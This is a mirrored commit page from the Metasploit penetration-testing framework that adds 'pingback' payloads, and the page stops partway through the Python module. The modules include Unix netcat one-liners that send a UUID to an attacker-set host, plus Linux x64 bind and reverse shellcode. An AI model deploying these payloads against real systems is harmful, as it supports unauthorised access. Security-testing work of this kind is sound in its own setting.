mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
Land #12129, Add Pingback Payloads
Merge branch 'land-12129' into upstream-master
This commit is contained in:
commit
fb7f30e60d
@ -41,4 +41,4 @@ module DataProxyAutoLoader
|
|||||||
include VulnAttemptDataProxy
|
include VulnAttemptDataProxy
|
||||||
include MsfDataProxy
|
include MsfDataProxy
|
||||||
include PayloadDataProxy
|
include PayloadDataProxy
|
||||||
end
|
end
|
||||||
|
@ -3,7 +3,6 @@ module PayloadDataProxy
|
|||||||
def payloads(opts)
|
def payloads(opts)
|
||||||
begin
|
begin
|
||||||
self.data_service_operation do |data_service|
|
self.data_service_operation do |data_service|
|
||||||
add_opts_workspace(opts)
|
|
||||||
data_service.payloads(opts)
|
data_service.payloads(opts)
|
||||||
end
|
end
|
||||||
rescue => e
|
rescue => e
|
||||||
@ -14,7 +13,6 @@ module PayloadDataProxy
|
|||||||
def create_payload(opts)
|
def create_payload(opts)
|
||||||
begin
|
begin
|
||||||
self.data_service_operation do |data_service|
|
self.data_service_operation do |data_service|
|
||||||
add_opts_workspace(opts)
|
|
||||||
data_service.create_payload(opts)
|
data_service.create_payload(opts)
|
||||||
end
|
end
|
||||||
rescue => e
|
rescue => e
|
||||||
|
@ -41,5 +41,4 @@ module DataServiceAutoLoader
|
|||||||
include RemoteMsfDataService
|
include RemoteMsfDataService
|
||||||
include RemoteDbImportDataService
|
include RemoteDbImportDataService
|
||||||
include RemotePayloadDataService
|
include RemotePayloadDataService
|
||||||
|
|
||||||
end
|
end
|
||||||
|
@ -14,6 +14,7 @@ module Sessions
|
|||||||
# with the server instance both at an API level as well as at a console level.
|
# with the server instance both at an API level as well as at a console level.
|
||||||
#
|
#
|
||||||
###
|
###
|
||||||
|
|
||||||
class Meterpreter < Rex::Post::Meterpreter::Client
|
class Meterpreter < Rex::Post::Meterpreter::Client
|
||||||
|
|
||||||
include Msf::Session
|
include Msf::Session
|
||||||
|
98
lib/msf/base/sessions/pingback.rb
Normal file
98
lib/msf/base/sessions/pingback.rb
Normal file
@ -0,0 +1,98 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'msf/base'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Sessions
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This class provides the ability to receive a pingback UUID
|
||||||
|
#
|
||||||
|
###
|
||||||
|
class Pingback
|
||||||
|
|
||||||
|
#
|
||||||
|
# This interface supports basic interaction.
|
||||||
|
#
|
||||||
|
include Msf::Session
|
||||||
|
include Msf::Session::Basic
|
||||||
|
|
||||||
|
attr_accessor :arch
|
||||||
|
attr_accessor :platform
|
||||||
|
attr_accessor :uuid_string
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the type of session.
|
||||||
|
#
|
||||||
|
def self.type
|
||||||
|
"pingback"
|
||||||
|
end
|
||||||
|
|
||||||
|
def initialize(rstream, opts = {})
|
||||||
|
super
|
||||||
|
self.platform ||= ""
|
||||||
|
self.arch ||= ""
|
||||||
|
datastore = opts[:datastore]
|
||||||
|
end
|
||||||
|
|
||||||
|
def self.create_session(rstream, opts = {})
|
||||||
|
Msf::Sessions::Pingback.new(rstream, opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
def process_autoruns(datastore)
|
||||||
|
uuid_read
|
||||||
|
cleanup
|
||||||
|
end
|
||||||
|
|
||||||
|
def cleanup
|
||||||
|
if rstream
|
||||||
|
# this is also a best-effort
|
||||||
|
rstream.close rescue nil
|
||||||
|
rstream = nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def uuid_read
|
||||||
|
uuid_raw = rstream.get_once(16, 1)
|
||||||
|
return nil unless uuid_raw
|
||||||
|
self.uuid_string = uuid_raw.each_byte.map { |b| "%02x" % b.to_i() }.join
|
||||||
|
print_status("Incoming UUID = #{uuid_string}")
|
||||||
|
if framework.db.active
|
||||||
|
begin
|
||||||
|
payload = framework.db.payloads(uuid: uuid_string).first
|
||||||
|
if payload.nil?
|
||||||
|
print_warning("Provided UUID (#{uuid_string}) was not found in database!")
|
||||||
|
else
|
||||||
|
print_good("UUID identified (#{uuid_string})")
|
||||||
|
end
|
||||||
|
rescue ActiveRecord::ConnectionNotEstablished
|
||||||
|
print_status("WARNING: UUID verification and logging is not available, because the database is not active.")
|
||||||
|
rescue => e
|
||||||
|
# TODO: Can we have a more specific exception handler?
|
||||||
|
# Test: what if we send no bytes back? What if we send less than 16 bytes? Or more than?
|
||||||
|
elog("Can't get original UUID")
|
||||||
|
elog("Exception Class: #{e.class.name}")
|
||||||
|
elog("Exception Message: #{e.message}")
|
||||||
|
elog("Exception Backtrace: #{e.backtrace}")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_warning("WARNING: UUID verification and logging is not available, because the database is not active.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the session description.
|
||||||
|
#
|
||||||
|
def desc
|
||||||
|
"Pingback"
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Calls the class method
|
||||||
|
#
|
||||||
|
def type
|
||||||
|
self.class.type
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
@ -8,7 +8,6 @@ module Msf::DBManager::Payload
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
|
|
||||||
Mdm::Payload.create!(opts)
|
Mdm::Payload.create!(opts)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
@ -20,7 +19,7 @@ module Msf::DBManager::Payload
|
|||||||
else
|
else
|
||||||
# Check the database for a matching UUID, returning an empty array if no results are found
|
# Check the database for a matching UUID, returning an empty array if no results are found
|
||||||
begin
|
begin
|
||||||
return Array.wrap(Mdm::Payload.find(uuid: opts[:uuid]))
|
return Array.wrap(Mdm::Payload.where(uuid: opts[:uuid]))
|
||||||
rescue ActiveRecord::RecordNotFound
|
rescue ActiveRecord::RecordNotFound
|
||||||
return []
|
return []
|
||||||
end
|
end
|
||||||
@ -30,9 +29,6 @@ module Msf::DBManager::Payload
|
|||||||
|
|
||||||
def update_payload(opts)
|
def update_payload(opts)
|
||||||
::ActiveRecord::Base.connection_pool.with_connection do
|
::ActiveRecord::Base.connection_pool.with_connection do
|
||||||
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework, false)
|
|
||||||
opts[:workspace] = wspace if wspace
|
|
||||||
|
|
||||||
id = opts.delete(:id)
|
id = opts.delete(:id)
|
||||||
Mdm::Payload.update(id, opts)
|
Mdm::Payload.update(id, opts)
|
||||||
end
|
end
|
||||||
|
@ -273,6 +273,8 @@ class Exploit < Msf::Module
|
|||||||
return mixins
|
return mixins
|
||||||
end
|
end
|
||||||
|
|
||||||
|
attr_accessor :needs_cleanup
|
||||||
|
|
||||||
#
|
#
|
||||||
# Creates an instance of the exploit module. Mad skillz.
|
# Creates an instance of the exploit module. Mad skillz.
|
||||||
#
|
#
|
||||||
@ -752,6 +754,10 @@ class Exploit < Msf::Module
|
|||||||
# what not?
|
# what not?
|
||||||
return false if !compatible?(pi)
|
return false if !compatible?(pi)
|
||||||
|
|
||||||
|
if self.needs_cleanup && !pi.can_cleanup
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
# If the payload is privileged but the exploit does not give
|
# If the payload is privileged but the exploit does not give
|
||||||
# privileged access, then fail it.
|
# privileged access, then fail it.
|
||||||
return false if !self.privileged && pi.privileged
|
return false if !self.privileged && pi.privileged
|
||||||
|
@ -6,6 +6,7 @@ module Exploit::FileDropper
|
|||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super
|
super
|
||||||
|
|
||||||
|
self.needs_cleanup = true
|
||||||
@dropped_files = []
|
@dropped_files = []
|
||||||
@dropped_dirs = []
|
@dropped_dirs = []
|
||||||
|
|
||||||
|
@ -81,6 +81,8 @@ class Obj
|
|||||||
@path = module_instance.file_path
|
@path = module_instance.file_path
|
||||||
@mod_time = ::File.mtime(@path) rescue Time.now
|
@mod_time = ::File.mtime(@path) rescue Time.now
|
||||||
@ref_name = module_instance.refname
|
@ref_name = module_instance.refname
|
||||||
|
@needs_cleanup = module_instance.respond_to?(:needs_cleanup) && module_instance.needs_cleanup
|
||||||
|
|
||||||
if module_instance.respond_to?(:autofilter_ports)
|
if module_instance.respond_to?(:autofilter_ports)
|
||||||
@autofilter_ports = module_instance.autofilter_ports
|
@autofilter_ports = module_instance.autofilter_ports
|
||||||
end
|
end
|
||||||
@ -134,7 +136,8 @@ class Obj
|
|||||||
'check' => @check,
|
'check' => @check,
|
||||||
'post_auth' => @post_auth,
|
'post_auth' => @post_auth,
|
||||||
'default_credential' => @default_credential,
|
'default_credential' => @default_credential,
|
||||||
'notes' => @notes
|
'notes' => @notes,
|
||||||
|
'needs_cleanup' => @needs_cleanup
|
||||||
}.to_json(*args)
|
}.to_json(*args)
|
||||||
end
|
end
|
||||||
|
|
||||||
@ -183,6 +186,8 @@ class Obj
|
|||||||
@post_auth = obj_hash['post_auth']
|
@post_auth = obj_hash['post_auth']
|
||||||
@default_credential = obj_hash['default_credential']
|
@default_credential = obj_hash['default_credential']
|
||||||
@notes = obj_hash['notes'].nil? ? {} : obj_hash['notes']
|
@notes = obj_hash['notes'].nil? ? {} : obj_hash['notes']
|
||||||
|
@needs_cleanup = obj_hash['needs_cleanup']
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def sort_platform_string
|
def sort_platform_string
|
||||||
|
@ -68,7 +68,7 @@ class Payload < Msf::Module
|
|||||||
#
|
#
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super
|
super
|
||||||
|
self.can_cleanup = true
|
||||||
# If this is a staged payload but there is no stage information,
|
# If this is a staged payload but there is no stage information,
|
||||||
# then this is actually a stager + single combination. Set up the
|
# then this is actually a stager + single combination. Set up the
|
||||||
# information hash accordingly.
|
# information hash accordingly.
|
||||||
@ -537,6 +537,11 @@ class Payload < Msf::Module
|
|||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# This attribute designates if the payload supports onsession()
|
||||||
|
# method calls (typically to clean up artifacts)
|
||||||
|
#
|
||||||
|
attr_accessor :can_cleanup
|
||||||
#
|
#
|
||||||
# This attribute holds the string that should be prepended to the buffer
|
# This attribute holds the string that should be prepended to the buffer
|
||||||
# when it's generated.
|
# when it's generated.
|
||||||
@ -668,6 +673,7 @@ protected
|
|||||||
# Merge the name to prefix the existing one and separate them
|
# Merge the name to prefix the existing one and separate them
|
||||||
# with a comma
|
# with a comma
|
||||||
#
|
#
|
||||||
|
|
||||||
def merge_name(info, val)
|
def merge_name(info, val)
|
||||||
if (info['Name'])
|
if (info['Name'])
|
||||||
info['Name'] = val + ',' + info['Name']
|
info['Name'] = val + ',' + info['Name']
|
||||||
|
39
lib/msf/core/payload/pingback.rb
Normal file
39
lib/msf/core/payload/pingback.rb
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
# -*- coding => binary -*-
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/module/platform'
|
||||||
|
require 'rex/text'
|
||||||
|
|
||||||
|
#
|
||||||
|
# This class provides methods for calculating, extracting, and parsing
|
||||||
|
# unique ID values used by payloads.
|
||||||
|
#
|
||||||
|
module Msf::Payload::Pingback
|
||||||
|
|
||||||
|
attr_accessor :pingback_uuid
|
||||||
|
attr_accessor :can_cleanup
|
||||||
|
|
||||||
|
# Generate a Pingback UUID and write it to the database
|
||||||
|
def generate_pingback_uuid
|
||||||
|
self.pingback_uuid ||= SecureRandom.uuid()
|
||||||
|
self.pingback_uuid.to_s.gsub!("-", "")
|
||||||
|
datastore['PingbackUUID'] = self.pingback_uuid
|
||||||
|
vprint_status("PingbackUUID = #{datastore['PingbackUUID']}")
|
||||||
|
if framework.db.active
|
||||||
|
vprint_status("Writing UUID #{datastore['PingbackUUID']} to database...")
|
||||||
|
framework.db.create_payload(name: datastore['PayloadUUIDName'],
|
||||||
|
uuid: datastore['PingbackUUID'],
|
||||||
|
description: 'pingback',
|
||||||
|
platform: platform.platforms.first.realname.downcase)
|
||||||
|
else
|
||||||
|
print_warning("Unable to save UUID #{datastore['PingbackUUID']} to database -- database support not active")
|
||||||
|
end
|
||||||
|
self.pingback_uuid
|
||||||
|
end
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(info)
|
||||||
|
self.can_cleanup = false
|
||||||
|
self
|
||||||
|
end
|
||||||
|
end
|
21
lib/msf/core/payload/pingback/options.rb
Normal file
21
lib/msf/core/payload/pingback/options.rb
Normal file
@ -0,0 +1,21 @@
|
|||||||
|
# -*- coding => binary -*-
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/payload/pingback'
|
||||||
|
|
||||||
|
#
|
||||||
|
# This module provides datastore option definitions and helper methods for payload modules that support UUIDs
|
||||||
|
#
|
||||||
|
module Msf::Payload::Pingback::Options
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
Msf::OptInt.new('PingbackRetries', [true, "How many additional successful pingbacks", 0]),
|
||||||
|
Msf::OptInt.new('PingbackSleep', [true, "Time (in seconds) to sleep between pingbacks", 30])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
end
|
@ -1,6 +1,7 @@
|
|||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
require 'msf/core/payload/uuid/options'
|
require 'msf/core/payload/uuid/options'
|
||||||
|
require 'msf/core/payload/pingback/options'
|
||||||
|
|
||||||
##
|
##
|
||||||
# This module contains helper functions for creating the transport
|
# This module contains helper functions for creating the transport
|
||||||
@ -8,6 +9,7 @@ require 'msf/core/payload/uuid/options'
|
|||||||
##
|
##
|
||||||
module Msf::Payload::TransportConfig
|
module Msf::Payload::TransportConfig
|
||||||
|
|
||||||
|
include Msf::Payload::Pingback::Options
|
||||||
include Msf::Payload::UUID::Options
|
include Msf::Payload::UUID::Options
|
||||||
|
|
||||||
def transport_config_reverse_tcp(opts={})
|
def transport_config_reverse_tcp(opts={})
|
||||||
|
@ -20,7 +20,6 @@ module Payload::Windows::ReverseTcp_x64
|
|||||||
include Msf::Payload::Windows
|
include Msf::Payload::Windows
|
||||||
include Msf::Payload::Windows::SendUUID_x64
|
include Msf::Payload::Windows::SendUUID_x64
|
||||||
include Msf::Payload::Windows::BlockApi_x64
|
include Msf::Payload::Windows::BlockApi_x64
|
||||||
include Msf::Payload::Windows::Exitfunk_x64
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Register reverse_tcp specific options
|
# Register reverse_tcp specific options
|
||||||
|
@ -374,6 +374,10 @@ module Msf
|
|||||||
# methods in order based on the supplied options and returns the finished payload.
|
# methods in order based on the supplied options and returns the finished payload.
|
||||||
# @return [String] A string containing the bytes of the payload in the format selected
|
# @return [String] A string containing the bytes of the payload in the format selected
|
||||||
def generate_payload
|
def generate_payload
|
||||||
|
if payload.include?("pingback") and framework.db.active == false
|
||||||
|
cli_print "[-] WARNING: UUID cannot be saved because database is inactive."
|
||||||
|
end
|
||||||
|
|
||||||
if platform == "java" or arch == "java" or payload.start_with? "java/"
|
if platform == "java" or arch == "java" or payload.start_with? "java/"
|
||||||
raw_payload = generate_java_payload
|
raw_payload = generate_java_payload
|
||||||
encoded_payload = raw_payload
|
encoded_payload = raw_payload
|
||||||
|
50
modules/payloads/singles/cmd/unix/pingback_bind.rb
Normal file
50
modules/payloads/singles/cmd/unix/pingback_bind.rb
Normal file
@ -0,0 +1,50 @@
|
|||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core/handler/bind_tcp'
|
||||||
|
require 'msf/core/payload/pingback'
|
||||||
|
require 'msf/base/sessions/pingback'
|
||||||
|
|
||||||
|
module MetasploitModule
|
||||||
|
|
||||||
|
CachedSize = 103
|
||||||
|
|
||||||
|
include Msf::Payload::Single
|
||||||
|
include Msf::Payload::Pingback
|
||||||
|
include Msf::Payload::Pingback::Options
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Unix Command Shell, Pingback Bind TCP (via netcat)',
|
||||||
|
'Description' => 'Accept a connection, send a UUID, then exit',
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'asoto-r7'
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'unix',
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Handler' => Msf::Handler::BindTcp,
|
||||||
|
'Session' => Msf::Sessions::Pingback,
|
||||||
|
'PayloadType' => 'cmd',
|
||||||
|
'RequiredCmd' => 'netcat'
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Constructs the payload
|
||||||
|
#
|
||||||
|
def generate
|
||||||
|
super.to_s + command_string
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the command string to use for execution
|
||||||
|
#
|
||||||
|
def command_string
|
||||||
|
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||||
|
"printf '#{pingback_uuid.scan(/../).map { |x| "\\x" + x }.join}' | (nc -lp #{datastore['LPORT']} || nc -l #{datastore['LPORT']})"
|
||||||
|
end
|
||||||
|
end
|
50
modules/payloads/singles/cmd/unix/pingback_reverse.rb
Normal file
50
modules/payloads/singles/cmd/unix/pingback_reverse.rb
Normal file
@ -0,0 +1,50 @@
|
|||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core/handler/reverse_tcp'
|
||||||
|
require 'msf/core/payload/pingback'
|
||||||
|
require 'msf/base/sessions/pingback'
|
||||||
|
|
||||||
|
module MetasploitModule
|
||||||
|
|
||||||
|
CachedSize = 99
|
||||||
|
|
||||||
|
include Msf::Payload::Single
|
||||||
|
include Msf::Payload::Pingback
|
||||||
|
include Msf::Payload::Pingback::Options
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Unix Command Shell, Pingback Reverse TCP (via netcat)',
|
||||||
|
'Description' => 'Creates a socket, send a UUID, then exit',
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'asoto-r7'
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'unix',
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Handler' => Msf::Handler::ReverseTcp,
|
||||||
|
'Session' => Msf::Sessions::Pingback,
|
||||||
|
'PayloadType' => 'cmd',
|
||||||
|
'RequiredCmd' => 'netcat'
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Constructs the payload
|
||||||
|
#
|
||||||
|
def generate
|
||||||
|
super.to_s + command_string
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the command string to use for execution
|
||||||
|
#
|
||||||
|
def command_string
|
||||||
|
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||||
|
"printf '#{pingback_uuid.scan(/../).map { |x| "\\x" + x }.join}' | nc #{datastore['LHOST']} #{datastore['LPORT']}"
|
||||||
|
end
|
||||||
|
end
|
117
modules/payloads/singles/linux/x64/pingback_bind_tcp.rb
Normal file
117
modules/payloads/singles/linux/x64/pingback_bind_tcp.rb
Normal file
@ -0,0 +1,117 @@
|
|||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core/payload/pingback'
|
||||||
|
require 'msf/core/handler/reverse_tcp'
|
||||||
|
require 'msf/base/sessions/pingback'
|
||||||
|
|
||||||
|
|
||||||
|
module MetasploitModule
|
||||||
|
|
||||||
|
CachedSize = 109
|
||||||
|
|
||||||
|
include Msf::Payload::Linux
|
||||||
|
include Msf::Payload::Single
|
||||||
|
include Msf::Payload::Pingback
|
||||||
|
include Msf::Payload::Pingback::Options
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Linux x64 Pingback, Bind TCP Inline',
|
||||||
|
'Description' => 'Accept a connection from attacker and report UUID (Linux x64)',
|
||||||
|
'Author' => [ 'bwatters-r7' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' => ARCH_X64,
|
||||||
|
'Handler' => Msf::Handler::BindTcp,
|
||||||
|
'Session' => Msf::Sessions::Pingback
|
||||||
|
))
|
||||||
|
def generate_stage
|
||||||
|
# 22 -> "0x00,0x16"
|
||||||
|
# 4444 -> "0x11,0x5c"
|
||||||
|
encoded_port = [datastore['LPORT'].to_i,2].pack("vn").unpack("N").first
|
||||||
|
encoded_host = Rex::Socket.addr_aton("0.0.0.0").unpack("V").first
|
||||||
|
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
|
||||||
|
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||||
|
uuid_as_db = "0x" + pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
|
||||||
|
|
||||||
|
asm = %Q^
|
||||||
|
push rsi
|
||||||
|
push rax
|
||||||
|
;SOCKET
|
||||||
|
push 0x29
|
||||||
|
pop rax
|
||||||
|
cdq
|
||||||
|
push 0x2
|
||||||
|
pop rdi
|
||||||
|
push 0x1
|
||||||
|
pop rsi
|
||||||
|
syscall ; socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
|
||||||
|
test rax, rax
|
||||||
|
js failed
|
||||||
|
|
||||||
|
xchg rdi, rax
|
||||||
|
mov rcx, #{encoded_host_port}
|
||||||
|
push rcx
|
||||||
|
mov rsi, rsp
|
||||||
|
push rsp
|
||||||
|
pop rsi ; store pointer to struct
|
||||||
|
|
||||||
|
bind_call:
|
||||||
|
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
|
||||||
|
; rdi -> fd already stored in rdi
|
||||||
|
; rsi -> pointer to sockaddr_in6 struct already in rsi
|
||||||
|
push 0x31
|
||||||
|
pop rax ; bind syscall
|
||||||
|
push 0x10 ; sockaddr length
|
||||||
|
pop rdx ;
|
||||||
|
syscall
|
||||||
|
|
||||||
|
listen_call:
|
||||||
|
; int listen(int sockfd, int backlog);
|
||||||
|
; rdi -> fd already stored in rdi
|
||||||
|
push 0x32
|
||||||
|
pop rax ; listen syscall
|
||||||
|
push 0x1
|
||||||
|
pop rsi ; backlog
|
||||||
|
syscall
|
||||||
|
|
||||||
|
accept_call:
|
||||||
|
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
|
||||||
|
; rdi -> fd already stored in rdi
|
||||||
|
push 0x2b
|
||||||
|
pop rax ; accept syscall
|
||||||
|
cdq ; zero-out rdx via sign-extension
|
||||||
|
push rdx
|
||||||
|
push rdx
|
||||||
|
push rsp
|
||||||
|
pop rsi ; when populated, client will be stored in rsi
|
||||||
|
push 0x1c
|
||||||
|
lea rdx, [rsp] ; pointer to length of rsi (16)
|
||||||
|
syscall
|
||||||
|
xchg rdi, rax ; grab client fd
|
||||||
|
send_pingback:
|
||||||
|
; sys_write(fd:rdi, buf*:rsi, length:rdx)
|
||||||
|
push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID
|
||||||
|
pop rdx ; length in rdx
|
||||||
|
call get_uuid_address ; put uuid buffer on the stack
|
||||||
|
db #{uuid_as_db} ; PINGBACK_UUID
|
||||||
|
get_uuid_address:
|
||||||
|
pop rsi ; UUID address into rsi
|
||||||
|
xor rax, rax ; sys_write = offset 1
|
||||||
|
inc rax ; sys_write = offset 1
|
||||||
|
syscall ; call sys_write
|
||||||
|
|
||||||
|
failed:
|
||||||
|
push 0x3c
|
||||||
|
pop rax
|
||||||
|
push 0x1
|
||||||
|
pop rdi
|
||||||
|
syscall ; exit(1)
|
||||||
|
^
|
||||||
|
Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
117
modules/payloads/singles/linux/x64/pingback_reverse_tcp.rb
Normal file
117
modules/payloads/singles/linux/x64/pingback_reverse_tcp.rb
Normal file
@ -0,0 +1,117 @@
|
|||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core/payload/pingback'
|
||||||
|
require 'msf/core/handler/reverse_tcp'
|
||||||
|
require 'msf/base/sessions/pingback'
|
||||||
|
|
||||||
|
|
||||||
|
module MetasploitModule
|
||||||
|
|
||||||
|
CachedSize = 125
|
||||||
|
|
||||||
|
include Msf::Payload::Linux
|
||||||
|
include Msf::Payload::Single
|
||||||
|
include Msf::Payload::Pingback
|
||||||
|
include Msf::Payload::Pingback::Options
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Linux x64 Pingback, Reverse TCP Inline',
|
||||||
|
'Description' => 'Connect back to attacker and report UUID (Linux x64)',
|
||||||
|
'Author' => [ 'bwatters-r7' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' => ARCH_X64,
|
||||||
|
'Handler' => Msf::Handler::ReverseTcp,
|
||||||
|
'Session' => Msf::Sessions::Pingback
|
||||||
|
))
|
||||||
|
def generate_stage
|
||||||
|
# 22 -> "0x00,0x16"
|
||||||
|
# 4444 -> "0x11,0x5c"
|
||||||
|
encoded_port = [datastore['LPORT'].to_i,2].pack("vn").unpack("N").first
|
||||||
|
encoded_host = Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first
|
||||||
|
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
|
||||||
|
retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max
|
||||||
|
|
||||||
|
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||||
|
uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
|
||||||
|
seconds = 5.0
|
||||||
|
sleep_seconds = seconds.to_i
|
||||||
|
sleep_nanoseconds = (seconds % 1 * 1_000_000_000).to_i
|
||||||
|
|
||||||
|
asm = %Q^
|
||||||
|
push #{retry_count} ; retry counter
|
||||||
|
pop r9
|
||||||
|
push rsi
|
||||||
|
push rax
|
||||||
|
push 0x29
|
||||||
|
pop rax
|
||||||
|
cdq
|
||||||
|
push 0x2
|
||||||
|
pop rdi
|
||||||
|
push 0x1
|
||||||
|
pop rsi
|
||||||
|
syscall ; socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
|
||||||
|
test rax, rax
|
||||||
|
js failed
|
||||||
|
|
||||||
|
xchg rdi, rax
|
||||||
|
|
||||||
|
connect:
|
||||||
|
mov rcx, #{encoded_host_port}
|
||||||
|
push rcx
|
||||||
|
mov rsi, rsp
|
||||||
|
push 0x10
|
||||||
|
pop rdx
|
||||||
|
push 0x2a
|
||||||
|
pop rax
|
||||||
|
syscall ; connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
|
||||||
|
pop rcx
|
||||||
|
test rax, rax
|
||||||
|
jns send_pingback
|
||||||
|
|
||||||
|
handle_failure:
|
||||||
|
dec r9
|
||||||
|
jz failed
|
||||||
|
push rdi
|
||||||
|
push 0x23
|
||||||
|
pop rax
|
||||||
|
push 0x#{sleep_nanoseconds.to_s(16)}
|
||||||
|
push 0x#{sleep_seconds.to_s(16)}
|
||||||
|
mov rdi, rsp
|
||||||
|
xor rsi, rsi
|
||||||
|
syscall ; sys_nanosleep
|
||||||
|
pop rcx
|
||||||
|
pop rcx
|
||||||
|
pop rdi
|
||||||
|
test rax, rax
|
||||||
|
jns connect
|
||||||
|
|
||||||
|
failed:
|
||||||
|
push 0x3c
|
||||||
|
pop rax
|
||||||
|
push 0x1
|
||||||
|
pop rdi
|
||||||
|
syscall ; exit(1)
|
||||||
|
|
||||||
|
send_pingback:
|
||||||
|
push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID
|
||||||
|
pop rdx
|
||||||
|
call get_uuid_address ; put uuid buffer on the stack
|
||||||
|
db #{uuid_as_db} ; PINGBACK_UUID
|
||||||
|
|
||||||
|
get_uuid_address:
|
||||||
|
pop rsi ; UUID address
|
||||||
|
xor rax, rax
|
||||||
|
inc rax
|
||||||
|
syscall ; sys_write
|
||||||
|
|
||||||
|
jmp failed
|
||||||
|
^
|
||||||
|
Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
49
modules/payloads/singles/python/pingback_bind_tcp.rb
Normal file
49
modules/payloads/singles/python/pingback_bind_tcp.rb
Normal file
@ -0,0 +1,49 @@
|
|||||||
|
require 'msf/core/handler/bind_tcp'
|
||||||
|
require 'msf/core/payload/python'
|
||||||
|
|
||||||
|
require 'msf/base/sessions/pingback'
|
||||||
|
require 'msf/core/payload/pingback'
|
||||||
|
|
||||||
|
module MetasploitModule
|
||||||
|
|
||||||
|
CachedSize = 262
|
||||||
|
|
||||||
|
include Msf::Payload::Single
|
||||||
|
include Msf::Payload::Pingback
|
||||||
|
include Msf::Payload::Pingback::Options
|
||||||
|
|
